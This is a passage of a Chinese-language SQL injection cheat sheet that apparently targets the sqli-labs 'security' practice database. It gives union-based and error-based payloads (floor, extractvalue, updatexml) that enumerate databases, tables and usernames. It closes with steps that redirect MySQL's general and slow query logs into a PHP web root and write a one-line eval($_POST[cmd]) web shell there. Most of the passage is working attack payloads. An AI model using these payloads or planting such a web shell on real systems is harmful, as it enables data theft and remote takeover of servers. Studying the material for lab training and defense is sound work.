select username from security.users where username regexp 'se';
#只显示第一个字符的ASCII码
ascii()
select ascii('abc');
#只显示最左边字符的ASCII码
ord()
select ord('ab');
#显示字符串的长度
length()
select length('se');
#检查子查询是否返回值
exists()
select exists(select database());
七、联合注入攻击思路:
通过闭合url的变量,再使用union联合执行对应的查询语句,从而获得想要的数据
1 2 3 4 5 6 7 8 9
#使用limit 分页单个显示库名 select SCHEMA_NAME from information_schema.SCHEMATA limit 0,1
#使用group_concat 一次性全部显示库名 select group_concat(SCHEMA_NAME) from information_schema.SCHEMATA
#使用16进制代替字符串,可以绕过单引号注释
select group_concat(TABLE_NAME) from information_schema.TABLES where TABLE_SCHEMA=0x674657374
八、报错注入攻击思路:
人为制造报错信息,通过函数进行sql语句执行并将查询结果通过报错信息显示出来。
1、三个常见的报错注入之floor()
1 2 3 4 5 6 7
##报错注入floor()函数 #查看当前数据库 union select 1,2,count(*) from information_schema.tables group by concat (0x7e,database(),0x7e,floor(rand(0)^2)) %23 #查看security库中users表的用户名,并分页显示。ps:floor()函数只能支持单条查询,不能将数据整合成一条输出 select 1,2,count(*) from information_schema.tables group by concat(0x7e,(select username from security.users limit 0,1),0x7e,floor(rand(0)^2)); #获取有多少个数据库 and (select 1 from(select count(*),concat((select (select (select concat(0x7e,count(schema_name),0x7e) from information_schema.schemata)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
2、三个常见的报错注入之extractvalue()
1 2 3 4 5
##报错注入extractvalue()函数 #查看当前数据库 and extractvalue(1,concat(1,(select database())))%23 #查看security库中users表的用户名,并将所有用户一起输出。ps:extractvalue()函数最多输出32位信息 and extractvalue(1,concat(1,(select group_concat(username) from security.users)))%23
3、三个常见的报错注入之updatexml()
1 2 3 4 5
##报错注入updatexml()函数 #查看当前数据库 and updatexml(1,concat(0x7e,(select database()),0x7e),1)%23 #报错注入updatexml()函数,并将所有用户一起输出。ps:updatexml()函数最多输出32位信息 and updatexml(1,concat(0x7e,(select group_concat(username) from security.users),0x7e),1) --
#查看全局日志是否开启 show variables like '%general%'; #将全局日志功能开启 set global general_log = on; #设置全局日志保存地址 set global general_log_file = 'C:/phpstudy/PHPTutorial/WWW/xx.php'; #利用查询语句将一句话木马写入日志 select '<?php eval($_POST[cmd]);?>';
#查看慢日志是否开启 show variables like '%slow_query_log%'; #查看慢日志设置的超时时间 show global variables like '%long_query_time%'; #将慢日志功能开启 set global slow_query_log = on; #设置慢日志保存地址 set global slow_query_log_file = 'C:/phpstudy/PHPTutorial/WWW/shell2.php'; #利用查询语句将一句话木马写入日志 select '<?php eval($_POST[cmd]);?>' or sleep(11);